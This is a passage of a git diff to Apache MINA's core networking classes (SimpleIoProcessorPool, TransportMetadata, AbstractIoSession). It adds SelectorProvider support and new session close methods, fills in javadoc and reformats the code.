AttributeKey(SimpleIoProcessorPool.class, "processor"); /** The pool table */ - private final IoProcessor[] pool; + private final IoProcessor[] pool; /** The contained which is passed to the IoProcessor when they are created */ private final Executor executor; @@ -107,8 +111,8 @@ public class SimpleIoProcessorPool implements IoPro * * @param processorType The type of IoProcessor to use */ - public SimpleIoProcessorPool(Class> processorType) { - this(processorType, null, DEFAULT_SIZE); + public SimpleIoProcessorPool(Class> processorType) { + this(processorType, null, DEFAULT_SIZE, null); } /** @@ -118,8 +122,20 @@ public SimpleIoProcessorPool(Class> processorType) { * @param processorType The type of IoProcessor to use * @param size The number of IoProcessor in the pool */ - public SimpleIoProcessorPool(Class> processorType, int size) { - this(processorType, null, size); + public SimpleIoProcessorPool(Class> processorType, int size) { + this(processorType, null, size, null); + } + + /** + * Creates a new instance of SimpleIoProcessorPool with a defined + * number of IoProcessors in the pool + * + * @param processorType The type of IoProcessor to use + * @param size The number of IoProcessor in the pool + * @param selectorProvider The SelectorProvider to use + */ + public SimpleIoProcessorPool(Class> processorType, int size, SelectorProvider selectorProvider) { + this(processorType, null, size, selectorProvider); } /** @@ -128,8 +144,8 @@ public SimpleIoProcessorPool(Class> processorType, int * @param processorType The type of IoProcessor to use * @param executor The {@link Executor} */ - public SimpleIoProcessorPool(Class> processorType, Executor executor) { - this(processorType, executor, DEFAULT_SIZE); + public SimpleIoProcessorPool(Class> processorType, Executor executor) { + this(processorType, executor, DEFAULT_SIZE, null); } /** @@ -137,24 +153,27 @@ public SimpleIoProcessorPool(Class> processorType, Exec * * @param processorType The type of IoProcessor to use * @param executor The {@link Executor} + * @param size The number of IoProcessor in the pool + * @param selectorProvider The SelectorProvider to used */ @SuppressWarnings("unchecked") - public SimpleIoProcessorPool(Class> processorType, - Executor executor, int size) { + public SimpleIoProcessorPool(Class> processorType, Executor executor, int size, + SelectorProvider selectorProvider) { if (processorType == null) { throw new IllegalArgumentException("processorType"); } if (size <= 0) { - throw new IllegalArgumentException("size: " + size - + " (expected: positive integer)"); + throw new IllegalArgumentException("size: " + size + " (expected: positive integer)"); } // Create the executor if none is provided - createdExecutor = (executor == null); - + createdExecutor = executor == null; + if (createdExecutor) { this.executor = Executors.newCachedThreadPool(); + // Set a default reject handler + ((ThreadPoolExecutor) this.executor).setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); } else { this.executor = executor; } @@ -162,7 +181,7 @@ public SimpleIoProcessorPool(Class> processorType, pool = new IoProcessor[size]; boolean success = false; - Constructor> processorConstructor = null; + Constructor> processorConstructor = null; boolean usesExecutorArg = true; try { @@ -171,23 +190,26 @@ public SimpleIoProcessorPool(Class> processorType, try { processorConstructor = processorType.getConstructor(ExecutorService.class); pool[0] = processorConstructor.newInstance(this.executor); - } catch (NoSuchMethodException e) { - // To the next step... - } - - try { - processorConstructor = processorType.getConstructor(Executor.class); - pool[0] = processorConstructor.newInstance(this.executor); - } catch (NoSuchMethodException e) { - // To the next step... - } - - try { - processorConstructor = processorType.getConstructor(); - usesExecutorArg = false; - pool[0] = processorConstructor.newInstance(); - } catch (NoSuchMethodException e) { + } catch (NoSuchMethodException e1) { // To the next step... + try { + if(selectorProvider==null) { + processorConstructor = processorType.getConstructor(Executor.class); + pool[0] = processorConstructor.newInstance(this.executor); + } else { + processorConstructor = processorType.getConstructor(Executor.class, SelectorProvider.class); + pool[0] = processorConstructor.newInstance(this.executor,selectorProvider); + } + } catch (NoSuchMethodException e2) { + // To the next step... + try { + processorConstructor = processorType.getConstructor(); + usesExecutorArg = false; + pool[0] = processorConstructor.newInstance(); + } catch (NoSuchMethodException e3) { + // To the next step... + } + } } } catch (RuntimeException re) { LOGGER.error("Cannot create an IoProcessor :{}", re.getMessage()); @@ -195,17 +217,14 @@ public SimpleIoProcessorPool(Class> processorType, } catch (Exception e) { String msg = "Failed to create a new instance of " + processorType.getName() + ":" + e.getMessage(); LOGGER.error(msg, e); - throw new RuntimeIoException(msg , e); + throw new RuntimeIoException(msg, e); } if (processorConstructor == null) { // Raise an exception if no proper constructor is found. - String msg = String.valueOf(processorType) - + " must have a public constructor with one " - + ExecutorService.class.getSimpleName() - + " parameter, a public constructor with one " - + Executor.class.getSimpleName() - + " parameter or a public default constructor."; + String msg = String.valueOf(processorType) + " must have a public constructor with one " + + ExecutorService.class.getSimpleName() + " parameter, a public constructor with one " + + Executor.class.getSimpleName() + " parameter or a public default constructor."; LOGGER.error(msg); throw new IllegalArgumentException(msg); } @@ -214,7 +233,11 @@ public SimpleIoProcessorPool(Class> processorType, for (int i = 1; i < pool.length; i++) { try { if (usesExecutorArg) { - pool[i] = processorConstructor.newInstance(this.executor); + if(selectorProvider==null) { + pool[i] = processorConstructor.newInstance(this.executor); + } else { + pool[i] = processorConstructor.newInstance(this.executor, selectorProvider); + } } else { pool[i] = processorConstructor.newInstance(); } @@ -222,7 +245,7 @@ public SimpleIoProcessorPool(Class> processorType, // Won't happen because it has been done previously } } - + success = true; } finally { if (!success) { @@ -234,34 +257,47 @@ public SimpleIoProcessorPool(Class> processorType, /** * {@inheritDoc} */ - public final void add(T session) { + @Override + public final void add(S session) { getProcessor(session).add(session); } /** * {@inheritDoc} */ - public final void flush(T session) { + @Override + public final void flush(S session) { getProcessor(session).flush(session); } /** * {@inheritDoc} */ - public final void remove(T session) { + @Override + public final void write(S session, WriteRequest writeRequest) { + getProcessor(session).write(session, writeRequest); + } + + /** + * {@inheritDoc} + */ + @Override + public final void remove(S session) { getProcessor(session).remove(session); } /** * {@inheritDoc} */ - public final void updateTrafficControl(T session) { + @Override + public final void updateTrafficControl(S session) { getProcessor(session).updateTrafficControl(session); } /** * {@inheritDoc} */ + @Override public boolean isDisposed() { return disposed; } @@ -269,6 +305,7 @@ public boolean isDisposed() { /** * {@inheritDoc} */ + @Override public boolean isDisposing() { return disposing; } @@ -276,6 +313,7 @@ public boolean isDisposing() { /** * {@inheritDoc} */ + @Override public final void dispose() { if (disposed) { return; @@ -284,22 +322,21 @@ public final void dispose() { synchronized (disposalLock) { if (!disposing) { disposing = true; - - // Loop on all the IoProcessor and release them - for (int i = pool.length - 1; i >= 0; i--) { - if ((pool[i] == null) || pool[i].isDisposing()) { - // Already done + + for (IoProcessor ioProcessor : pool) { + if (ioProcessor == null) { + // Special case if the pool has not been initialized properly + continue; + } + + if (ioProcessor.isDisposing()) { continue; } try { - pool[i].dispose(); + ioProcessor.dispose(); } catch (Exception e) { - LOGGER.warn("Failed to dispose a " - + pool[i].getClass().getSimpleName() - + " at index " + i + ".", e); - } finally { - pool[i] = null; + LOGGER.warn("Failed to dispose the {} IoProcessor.", ioProcessor.getClass().getSimpleName(), e); } } @@ -307,9 +344,10 @@ public final void dispose() { ((ExecutorService) executor).shutdown(); } } - } - disposed = true; + Arrays.fill(pool, null); + disposed = true; + } } /** @@ -317,26 +355,23 @@ public final void dispose() { * the session's attributes, pick a new processor and stores it. */ @SuppressWarnings("unchecked") - private IoProcessor getProcessor(T session) { - IoProcessor processor = (IoProcessor) session.getAttribute(PROCESSOR); - + private IoProcessor getProcessor(S session) { + IoProcessor processor = (IoProcessor) session.getAttribute(PROCESSOR); + if (processor == null) { - processor = nextProcessor(session); + if (disposed || disposing) { + throw new IllegalStateException("A disposed processor cannot be accessed."); + } + + processor = pool[Math.abs((int) session.getId()) % pool.length]; + + if (processor == null) { + throw new IllegalStateException("A disposed processor cannot be accessed."); + } + session.setAttributeIfAbsent(PROCESSOR, processor); } return processor; } - - /** - * Get a new Processor in the pool, using a round-robin algorithm. - */ - private IoProcessor nextProcessor(T session) { - if (disposed) { - throw new IllegalStateException( - "A disposed processor cannot be accessed."); - } - - return pool[Math.abs((int)session.getId()) % pool.length]; - } } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/TransportMetadata.java b/mina-core/src/main/java/org/apache/mina/core/service/TransportMetadata.java index b9133740e3..0197168f02 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/TransportMetadata.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/TransportMetadata.java @@ -31,43 +31,43 @@ * @author Apache MINA Project */ public interface TransportMetadata { - + /** - * Returns the name of the service provider (e.g. "nio", "apr" and "rxtx"). + * @return the name of the service provider (e.g. "nio", "apr" and "rxtx"). */ String getProviderName(); /** - * Returns the name of the service. + * @return the name of the service. */ String getName(); /** - * Returns true if the session of this transport type is + * @return true if the session of this transport type is * connectionless. */ boolean isConnectionless(); /** - * Returns {@code true} if the messages exchanged by the service can be + * @return {@code true} if the messages exchanged by the service can be * fragmented * or reassembled by its underlying transport. */ boolean hasFragmentation(); /** - * Returns the address type of the service. + * @return the address type of the service. */ Class getAddressType(); /** - * Returns the set of the allowed message type when you write to an + * @return the set of the allowed message type when you write to an * {@link IoSession} that is managed by the service. */ Set> getEnvelopeTypes(); /** - * Returns the type of the {@link IoSessionConfig} of the service + * @return the type of the {@link IoSessionConfig} of the service */ Class getSessionConfigType(); } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java b/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java index de5474ae0b..4f1d4c6f8f 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java @@ -45,6 +45,7 @@ import org.apache.mina.core.future.WriteFuture; import org.apache.mina.core.service.AbstractIoService; import org.apache.mina.core.service.IoAcceptor; +import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.TransportMetadata; @@ -56,103 +57,139 @@ import org.apache.mina.core.write.WriteToClosedSessionException; import org.apache.mina.util.ExceptionMonitor; - /** * Base implementation of {@link IoSession}. - * + * * @author Apache MINA Project */ public abstract class AbstractIoSession implements IoSession { - - private static final AttributeKey READY_READ_FUTURES_KEY = - new AttributeKey(AbstractIoSession.class, "readyReadFutures"); - - private static final AttributeKey WAITING_READ_FUTURES_KEY = - new AttributeKey(AbstractIoSession.class, "waitingReadFutures"); - - private static final IoFutureListener SCHEDULED_COUNTER_RESETTER = - new IoFutureListener() { - public void operationComplete(CloseFuture future) { - AbstractIoSession session = (AbstractIoSession) future.getSession(); - session.scheduledWriteBytes.set(0); - session.scheduledWriteMessages.set(0); - session.readBytesThroughput = 0; - session.readMessagesThroughput = 0; - session.writtenBytesThroughput = 0; - session.writtenMessagesThroughput = 0; - } + /** The associated handler */ + private final IoHandler handler; + + /** The session config */ + protected IoSessionConfig config; + + /** The service which will manage this session */ + private final IoService service; + + private static final AttributeKey READY_READ_FUTURES_KEY = new AttributeKey(AbstractIoSession.class, + "readyReadFutures"); + + private static final AttributeKey WAITING_READ_FUTURES_KEY = new AttributeKey(AbstractIoSession.class, + "waitingReadFutures"); + + private static final IoFutureListener SCHEDULED_COUNTER_RESETTER = new IoFutureListener() { + public void operationComplete(CloseFuture future) { + AbstractIoSession session = (AbstractIoSession) future.getSession(); + session.scheduledWriteBytes.set(0); + session.scheduledWriteMessages.set(0); + session.readBytesThroughput = 0; + session.readMessagesThroughput = 0; + session.writtenBytesThroughput = 0; + session.writtenMessagesThroughput = 0; + } }; /** * An internal write request object that triggers session close. - * @see #writeRequestQueue */ - private static final WriteRequest CLOSE_REQUEST = - new DefaultWriteRequest(new Object()); + public static final WriteRequest CLOSE_REQUEST = new DefaultWriteRequest(new Object()); + + /** + * An internal write request object that triggers message sent events. + */ + public static final WriteRequest MESSAGE_SENT_REQUEST = new DefaultWriteRequest(DefaultWriteRequest.EMPTY_MESSAGE); private final Object lock = new Object(); private IoSessionAttributeMap attributes; + private WriteRequestQueue writeRequestQueue; + private WriteRequest currentWriteRequest; - - // The Session creation's time */ + + /** The Session creation's time */ private final long creationTime; /** An id generator guaranteed to generate unique IDs for the session */ private static AtomicLong idGenerator = new AtomicLong(0); - + /** The session ID */ private long sessionId; - + /** * A future that will be set 'closed' when the connection is closed. */ private final CloseFuture closeFuture = new DefaultCloseFuture(this); private volatile boolean closing; - + // traffic control - private boolean readSuspended=false; - private boolean writeSuspended=false; + private boolean readSuspended = false; + + private boolean writeSuspended = false; // Status variables private final AtomicBoolean scheduledForFlush = new AtomicBoolean(); + private final AtomicInteger scheduledWriteBytes = new AtomicInteger(); + private final AtomicInteger scheduledWriteMessages = new AtomicInteger(); private long readBytes; + private long writtenBytes; + private long readMessages; + private long writtenMessages; + private long lastReadTime; + private long lastWriteTime; private long lastThroughputCalculationTime; + private long lastReadBytes; + private long lastWrittenBytes; + private long lastReadMessages; + private long lastWrittenMessages; + private double readBytesThroughput; + private double writtenBytesThroughput; + private double readMessagesThroughput; + private double writtenMessagesThroughput; private AtomicInteger idleCountForBoth = new AtomicInteger(); + private AtomicInteger idleCountForRead = new AtomicInteger(); + private AtomicInteger idleCountForWrite = new AtomicInteger(); private long lastIdleTimeForBoth; + private long lastIdleTimeForRead; + private long lastIdleTimeForWrite; private boolean deferDecreaseReadBuffer = true; /** - * TODO Add method documentation + * Create a Session for a service + * + * @param service the Service for this session */ - protected AbstractIoSession() { - // Initialize all the Session counters to the current time + protected AbstractIoSession(IoService service) { + this.service = service; + this.handler = service.getHandler(); + + // Initialize all the Session counters to the current time long currentTime = System.currentTimeMillis(); creationTime = currentTime; lastThroughputCalculationTime = currentTime; @@ -161,10 +198,10 @@ protected AbstractIoSession() { lastIdleTimeForBoth = currentTime; lastIdleTimeForRead = currentTime; lastIdleTimeForWrite = currentTime; - + // TODO add documentation closeFuture.addListener(SCHEDULED_COUNTER_RESETTER); - + // Set a new ID for this session sessionId = idGenerator.incrementAndGet(); } @@ -172,8 +209,7 @@ protected AbstractIoSession() { /** * {@inheritDoc} * - * We use an AtomicLong to guarantee that the session ID are - * unique. + * We use an AtomicLong to guarantee that the session ID are unique. */ public final long getId() { return sessionId; @@ -191,6 +227,14 @@ public final boolean isConnected() { return !closeFuture.isClosed(); } + /** + * {@inheritDoc} + */ + public boolean isActive() { + // Return true by default + return true; + } + /** * {@inheritDoc} */ @@ -198,6 +242,19 @@ public final boolean isClosing() { return closing || closeFuture.isClosed(); } + /** + * {@inheritDoc} + */ + public boolean isSecured() { + // Always false... + return false; + } + + @Override + public boolean isServer() { + return (getService() instanceof IoAcceptor); + } + /** * {@inheritDoc} */ @@ -207,7 +264,8 @@ public final CloseFuture getCloseFuture() { /** * Tells if the session is scheduled for flushed - * @param true if the session is scheduled for flush + * + * @return true if the session is scheduled for flush */ public final boolean isScheduledForFlush() { return scheduledForFlush.get(); @@ -228,11 +286,13 @@ public final void unscheduledForFlush() { } /** - * Set the scheduledForFLush flag. As we may have concurrent access - * to this flag, we compare and set it in one call. - * @param schedule the new value to set if not already set. - * @return true if the session flag has been set, and if - * it wasn't set already. + * Set the scheduledForFLush flag. As we may have concurrent access to this + * flag, we compare and set it in one call. + * + * @param schedule + * the new value to set if not already set. + * @return true if the session flag has been set, and if it wasn't set + * already. */ public final boolean setScheduledForFlush(boolean schedule) { if (schedule) { @@ -241,7 +301,7 @@ public final boolean setScheduledForFlush(boolean schedule) { // is already scheduled for flush return scheduledForFlush.compareAndSet(false, schedule); } - + scheduledForFlush.set(schedule); return true; } @@ -249,34 +309,92 @@ public final boolean setScheduledForFlush(boolean schedule) { /** * {@inheritDoc} */ + @Deprecated public final CloseFuture close(boolean rightNow) { if (rightNow) { - return close(); + return closeNow(); + } else { + return closeOnFlush(); } - - return closeOnFlush(); } /** * {@inheritDoc} */ + @Deprecated public final CloseFuture close() { + return closeNow(); + } + + /** + * {@inheritDoc} + */ + public final CloseFuture closeOnFlush() { + if (!isClosing()) { + getWriteRequestQueue().offer(this, CLOSE_REQUEST); + getProcessor().flush(this); + } + + return closeFuture; + } + + /** + * {@inheritDoc} + */ + public final CloseFuture closeNow() { synchronized (lock) { if (isClosing()) { return closeFuture; } - + closing = true; + + try { + destroy(); + } catch (Exception e) { + IoFilterChain filterChain = getFilterChain(); + filterChain.fireExceptionCaught(e); + } } getFilterChain().fireFilterClose(); + return closeFuture; } + + /** + * Destroy the session + */ + protected void destroy() { + if (writeRequestQueue != null) { + while (!writeRequestQueue.isEmpty(this)) { + WriteRequest writeRequest = writeRequestQueue.poll(this); + + if (writeRequest != null) { + WriteFuture writeFuture = writeRequest.getFuture(); + + // The WriteRequest may not always have a future : The CLOSE_REQUEST + // and MESSAGE_SENT_REQUEST don't. + if (writeFuture != null) { + writeFuture.setWritten(); + } + } + } + } + } - private final CloseFuture closeOnFlush() { - getWriteRequestQueue().offer(this, CLOSE_REQUEST); - getProcessor().flush(this); - return closeFuture; + /** + * {@inheritDoc} + */ + public IoHandler getHandler() { + return handler; + } + + /** + * {@inheritDoc} + */ + public IoSessionConfig getConfig() { + return config; } /** @@ -289,8 +407,10 @@ public final ReadFuture read() { Queue readyReadFutures = getReadyReadFutures(); ReadFuture future; + synchronized (readyReadFutures) { future = readyReadFutures.poll(); + if (future != null) { if (future.isClosed()) { // Let other readers get notified. @@ -306,81 +426,92 @@ public final ReadFuture read() { } /** - * TODO Add method documentation + * Associates a message to a ReadFuture + * + * @param message the message to associate to the ReadFuture + * */ public final void offerReadFuture(Object message) { newReadFuture().setRead(message); } /** - * TODO Add method documentation + * Associates a failure to a ReadFuture + * + * @param exception the exception to associate to the ReadFuture */ public final void offerFailedReadFuture(Throwable exception) { newReadFuture().setException(exception); } /** - * TODO Add method documentation + * Inform the ReadFuture that the session has been closed */ public final void offerClosedReadFuture() { Queue readyReadFutures = getReadyReadFutures(); + synchronized (readyReadFutures) { newReadFuture().setClosed(); } } /** - * TODO Add method documentation + * @return a readFuture get from the waiting ReadFuture */ private ReadFuture newReadFuture() { Queue readyReadFutures = getReadyReadFutures(); Queue waitingReadFutures = getWaitingReadFutures(); ReadFuture future; + synchronized (readyReadFutures) { future = waitingReadFutures.poll(); + if (future == null) { future = new DefaultReadFuture(this); readyReadFutures.offer(future); } } + return future; } /** - * TODO Add method documentation + * @return a queue of ReadFuture */ private Queue getReadyReadFutures() { - Queue readyReadFutures = - (Queue) getAttribute(READY_READ_FUTURES_KEY); + Queue readyReadFutures = (Queue) getAttribute(READY_READ_FUTURES_KEY); + if (readyReadFutures == null) { - readyReadFutures = new ConcurrentLinkedQueue(); + readyReadFutures = new ConcurrentLinkedQueue<>(); - Queue oldReadyReadFutures = - (Queue) setAttributeIfAbsent( - READY_READ_FUTURES_KEY, readyReadFutures); + Queue oldReadyReadFutures = (Queue) setAttributeIfAbsent(READY_READ_FUTURES_KEY, + readyReadFutures); + if (oldReadyReadFutures != null) { readyReadFutures = oldReadyReadFutures; } } + return readyReadFutures; } /** - * TODO Add method documentation + * @return the queue of waiting ReadFuture */ private Queue getWaitingReadFutures() { - Queue waitingReadyReadFutures = - (Queue) getAttribute(WAITING_READ_FUTURES_KEY); + Queue waitingReadyReadFutures = (Queue) getAttribute(WAITING_READ_FUTURES_KEY); + if (waitingReadyReadFutures == null) { - waitingReadyReadFutures = new ConcurrentLinkedQueue(); + waitingReadyReadFutures = new ConcurrentLinkedQueue<>(); - Queue oldWaitingReadyReadFutures = - (Queue) setAttributeIfAbsent( - WAITING_READ_FUTURES_KEY, waitingReadyReadFutures); + Queue oldWaitingReadyReadFutures = (Queue) setAttributeIfAbsent( + WAITING_READ_FUTURES_KEY, waitingReadyReadFutures); + if (oldWaitingReadyReadFutures != null) { waitingReadyReadFutures = oldWaitingReadyReadFutures; } } + return waitingReadyReadFutures; } @@ -396,17 +527,15 @@ public WriteFuture write(Object message) { */ public WriteFuture write(Object message, SocketAddress remoteAddress) { if (message == null) { - throw new IllegalArgumentException("message"); + throw new IllegalArgumentException("Trying to write a null message : not allowed"); } - // We can't send a message to a connected session if we don't have + // We can't send a message to a connected session if we don't have // the remote address - if (!getTransportMetadata().isConnectionless() && - remoteAddress != null) { + if (!getTransportMetadata().isConnectionless() && (remoteAddress != null)) { throw new UnsupportedOperationException(); } - // If the session has been closed or is closing, we can't either // send a message to the remote side. We generate a future // containing an exception. @@ -419,15 +548,13 @@ public WriteFuture write(Object message, SocketAddress remoteAddress) { } FileChannel openedFileChannel = null; - + // TODO: remove this code as soon as we use InputStream // instead of Object for the message. try { - if (message instanceof IoBuffer - && !((IoBuffer) message).hasRemaining()) { + if ((message instanceof IoBuffer) && !((IoBuffer) message).hasRemaining()) { // Nothing to write : probably an error in the user code - throw new IllegalArgumentException( - "message is empty. Forgot to call flip()?"); + throw new IllegalArgumentException("message is empty. Forgot to call flip()?"); } else if (message instanceof FileChannel) { FileChannel fileChannel = (FileChannel) message; message = new DefaultFileRegion(fileChannel, 0, fileChannel.size()); @@ -444,15 +571,16 @@ public WriteFuture write(Object message, SocketAddress remoteAddress) { // Now, we can write the message. First, create a future WriteFuture writeFuture = new DefaultWriteFuture(this); WriteRequest writeRequest = new DefaultWriteRequest(message, writeFuture, remoteAddress); - + // Then, get the chain and inject the WriteRequest into it IoFilterChain filterChain = getFilterChain(); filterChain.fireFilterWrite(writeRequest); - // TODO : This is not our business ! The caller has created a FileChannel, - // he has to close it ! + // TODO : This is not our business ! The caller has created a + // FileChannel and has to close it ! if (openedFileChannel != null) { - // If we opened a FileChannel, it needs to be closed when the write has completed + // If we opened a FileChannel, it needs to be closed when the write + // has completed final FileChannel finalChannel = openedFileChannel; writeFuture.addListener(new IoFutureListener() { public void operationComplete(WriteFuture future) { @@ -472,6 +600,7 @@ public void operationComplete(WriteFuture future) { /** * {@inheritDoc} */ + @Deprecated public final Object getAttachment() { return getAttribute(""); } @@ -479,6 +608,7 @@ public final Object getAttachment() { /** * {@inheritDoc} */ + @Deprecated public final Object setAttachment(Object attachment) { return setAttribute("", attachment); } @@ -561,14 +691,16 @@ public final Set getAttributeKeys() { } /** - * TODO Add method documentation + * @return The map of attributes associated with the session */ public final IoSessionAttributeMap getAttributeMap() { return attributes; } /** - * TODO Add method documentation + * Set the map of attributes associated with the session + * + * @param attributes The Map of attributes */ public final void setAttributeMap(IoSessionAttributeMap attributes) { this.attributes = attributes; @@ -580,11 +712,9 @@ public final void setAttributeMap(IoSessionAttributeMap attributes) { * @param writeRequestQueue The write request queue */ public final void setWriteRequestQueue(WriteRequestQueue writeRequestQueue) { - this.writeRequestQueue = - new CloseAwareWriteQueue(writeRequestQueue); + this.writeRequestQueue = writeRequestQueue; } - /** * {@inheritDoc} */ @@ -642,9 +772,9 @@ public boolean isReadSuspended() { * {@inheritDoc} */ public boolean isWriteSuspended() { - return writeSuspended; + return writeSuspended; } - + /** * {@inheritDoc} */ @@ -708,10 +838,9 @@ public final void updateThroughput(long currentTime, boolean force) { int interval = (int) (currentTime - lastThroughputCalculationTime); long minInterval = getConfig().getThroughputCalculationIntervalInMillis(); - if (minInterval == 0 || interval < minInterval) { - if (!force) { - return; - } + + if (((minInterval == 0) || (interval < minInterval)) && !force) { + return; } readBytesThroughput = (readBytes - lastReadBytes) * 1000.0 / interval; @@ -742,21 +871,28 @@ public final int getScheduledWriteMessages() { } /** - * TODO Add method documentation + * Set the number of scheduled write bytes + * + * @param byteCount The number of scheduled bytes for write */ - protected void setScheduledWriteBytes(int byteCount){ + protected void setScheduledWriteBytes(int byteCount) { scheduledWriteBytes.set(byteCount); } /** - * TODO Add method documentation + * Set the number of scheduled write messages + * + * @param messages The number of scheduled messages for write */ protected void setScheduledWriteMessages(int messages) { scheduledWriteMessages.set(messages); } /** - * TODO Add method documentation + * Increase the number of read bytes + * + * @param increment The number of read bytes + * @param currentTime The current time */ public final void increaseReadBytes(long increment, long currentTime) { if (increment <= 0) { @@ -774,7 +910,9 @@ public final void increaseReadBytes(long increment, long currentTime) { } /** - * TODO Add method documentation + * Increase the number of read messages + * + * @param currentTime The current time */ public final void increaseReadMessages(long currentTime) { readMessages++; @@ -788,7 +926,10 @@ public final void increaseReadMessages(long currentTime) { } /** - * TODO Add method documentation + * Increase the number of written bytes + * + * @param increment The number of written bytes + * @param currentTime The current time */ public final void increaseWrittenBytes(int increment, long currentTime) { if (increment <= 0) { @@ -808,13 +949,17 @@ public final void increaseWrittenBytes(int increment, long currentTime) { } /** - * TODO Add method documentation + * Increase the number of written messages + * + * @param request The written message + * @param currentTime The current tile */ - public final void increaseWrittenMessages( - WriteRequest request, long currentTime) { + public final void increaseWrittenMessages(WriteRequest request, long currentTime) { Object message = request.getMessage(); + if (message instanceof IoBuffer) { IoBuffer b = (IoBuffer) message; + if (b.hasRemaining()) { return; } @@ -822,6 +967,7 @@ public final void increaseWrittenMessages( writtenMessages++; lastWriteTime = currentTime; + if (getService() instanceof AbstractIoService) { ((AbstractIoService) getService()).getStatistics().increaseWrittenMessages(currentTime); } @@ -830,7 +976,9 @@ public final void increaseWrittenMessages( } /** - * TODO Add method documentation + * Increase the number of scheduled write bytes for the session + * + * @param increment The number of newly added bytes to write */ public final void increaseScheduledWriteBytes(int increment) { scheduledWriteBytes.addAndGet(increment); @@ -840,17 +988,18 @@ public final void increaseScheduledWriteBytes(int increment) { } /** - * TODO Add method documentation + * Increase the number of scheduled message to write */ public final void increaseScheduledWriteMessages() { scheduledWriteMessages.incrementAndGet(); + if (getService() instanceof AbstractIoService) { ((AbstractIoService) getService()).getStatistics().increaseScheduledWriteMessages(); } } /** - * TODO Add method documentation + * Decrease the number of scheduled message written */ private void decreaseScheduledWriteMessages() { scheduledWriteMessages.decrementAndGet(); @@ -860,12 +1009,16 @@ private void decreaseScheduledWriteMessages() { } /** - * TODO Add method documentation + * Decrease the counters of written messages and written bytes when a message has been written + * + * @param request The written message */ public final void decreaseScheduledBytesAndMessages(WriteRequest request) { Object message = request.getMessage(); + if (message instanceof IoBuffer) { IoBuffer b = (IoBuffer) message; + if (b.hasRemaining()) { increaseScheduledWriteBytes(-((IoBuffer) message).remaining()); } else { @@ -883,6 +1036,7 @@ public final WriteRequestQueue getWriteRequestQueue() { if (writeRequestQueue == null) { throw new IllegalStateException(); } + return writeRequestQueue; } @@ -898,6 +1052,7 @@ public final WriteRequest getCurrentWriteRequest() { */ public final Object getCurrentWriteMessage() { WriteRequest req = getCurrentWriteRequest(); + if (req == null) { return null; } @@ -912,7 +1067,7 @@ public final void setCurrentWriteRequest(WriteRequest currentWriteRequest) { } /** - * TODO Add method documentation + * Increase the ReadBuffer size (it will double) */ public final void increaseReadBufferSize() { int newReadBufferSize = getConfig().getReadBufferSize() << 1; @@ -926,7 +1081,7 @@ public final void increaseReadBufferSize() { } /** - * TODO Add method documentation + * Decrease the ReadBuffer size (it will be divided by a factor 2) */ public final void decreaseReadBufferSize() { if (deferDecreaseReadBuffer) { @@ -1062,7 +1217,10 @@ public final long getLastIdleTime(IdleStatus status) { } /** - * TODO Add method documentation + * Increase the count of the various Idle counter + * + * @param status The current status + * @param currentTime The current time */ public final void increaseIdleCount(IdleStatus status, long currentTime) { if (status == IdleStatus.BOTH_IDLE) { @@ -1129,7 +1287,7 @@ public SocketAddress getServiceAddress() { if (service instanceof IoAcceptor) { return ((IoAcceptor) service).getLocalAddress(); } - + return getRemoteAddress(); } @@ -1142,8 +1300,8 @@ public final int hashCode() { } /** - * {@inheritDoc} - * TODO This is a ridiculous implementation. Need to be replaced. + * {@inheritDoc} TODO This is a ridiculous implementation. Need to be + * replaced. */ @Override public final boolean equals(Object o) { @@ -1155,115 +1313,114 @@ public final boolean equals(Object o) { */ @Override public String toString() { - if (isConnected()||isClosing()) { + if (isConnected() || isClosing()) { + String remote = null; + String local = null; + try { - SocketAddress remote = getRemoteAddress(); - SocketAddress local = getLocalAddress(); - - if (getService() instanceof IoAcceptor) { - return "(" + getIdAsString() + ": " + getServiceName() + ", server, " + - remote + " => " + local + ')'; - } - - return "(" + getIdAsString() + ": " + getServiceName() + ", client, " + - local + " => " + remote + ')'; + remote = String.valueOf(getRemoteAddress()); } catch (Exception e) { - return "Session is disconnecting ..."; + remote = "Cannot get the remote address informations: " + e.getMessage(); } + + try { + local = String.valueOf(getLocalAddress()); + } catch (Exception e) { + } + + if (getService() instanceof IoAcceptor) { + return "(" + getIdAsString() + ": " + getServiceName() + ", server, " + remote + " => " + local + ')'; + } + + return "(" + getIdAsString() + ": " + getServiceName() + ", client, " + local + " => " + remote + ')'; } - - return "Session disconnected ..."; + + return "(" + getIdAsString() + ") Session disconnected ..."; } /** - * TODO Add method documentation + * Get the Id as a String */ private String getIdAsString() { String id = Long.toHexString(getId()).toUpperCase(); - - // Somewhat inefficient, but it won't happen that often - // because an ID is often a big integer. - while (id.length() < 8) { - id = '0' + id; // padding + + if (id.length() <= 8) { + return "0x00000000".substring(0, 10 - id.length()) + id; + } else { + return "0x" + id; } - id = "0x" + id; - - return id; } /** - * TODO Add method documentation + * TGet the Service name */ private String getServiceName() { TransportMetadata tm = getTransportMetadata(); if (tm == null) { return "null"; } - + return tm.getProviderName() + ' ' + tm.getName(); } /** - * Fires a {@link IoEventType#SESSION_IDLE} event to any applicable - * sessions in the specified collection. - * + * {@inheritDoc} + */ + public IoService getService() { + return service; + } + + /** + * Fires a {@link IoEventType#SESSION_IDLE} event to any applicable sessions + * in the specified collection. + * + * @param sessions The sessions that are notified * @param currentTime the current time (i.e. {@link System#currentTimeMillis()}) */ public static void notifyIdleness(Iterator sessions, long currentTime) { - IoSession s = null; while (sessions.hasNext()) { - s = sessions.next(); - notifyIdleSession(s, currentTime); + IoSession session = sessions.next(); + + if (!session.getCloseFuture().isClosed()) { + notifyIdleSession(session, currentTime); + } } } /** * Fires a {@link IoEventType#SESSION_IDLE} event if applicable for the * specified {@code session}. - * + * + * @param session The session that is notified * @param currentTime the current time (i.e. {@link System#currentTimeMillis()}) */ public static void notifyIdleSession(IoSession session, long currentTime) { - notifyIdleSession0( - session, currentTime, - session.getConfig().getIdleTimeInMillis(IdleStatus.BOTH_IDLE), - IdleStatus.BOTH_IDLE, Math.max( - 